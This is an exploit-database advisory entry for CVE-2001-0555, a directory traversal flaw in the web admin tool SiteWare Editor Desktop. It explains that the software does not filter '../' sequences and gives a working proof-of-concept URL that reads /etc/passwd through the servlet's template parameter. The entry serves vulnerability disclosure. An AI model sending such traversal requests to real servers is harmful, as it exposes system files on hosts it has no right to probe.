SiteWare 2.5/3.0/3.1 Editor Desktop - Directory Traversal

Author: Foundstone Labs
type: webapps
platform: java
port: 
date_added: 2001-06-13  
date_updated: 2012-08-30  
verified: 1  
codes: CVE-2001-0555;OSVDB-13887  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 20925.txt  

source: https://www.securityfocus.com/bid/2868/info

Screaming Media is a provider for custom web content. SiteWare Editor Desktop is the web-based administration tool for managing Screaming Media content.

SiteWare Editor Desktop is prone to directory traversal attacks which can lead to disclosure of arbitrary webserver-readable files on the vulnerable host. This is due to the fact that the software does not filter '../' character sequences from HTTP Requests.

http://server:port/SWEditServlet?station_path=Z&publication_id=2043&template=../../../../../../../etc/passwd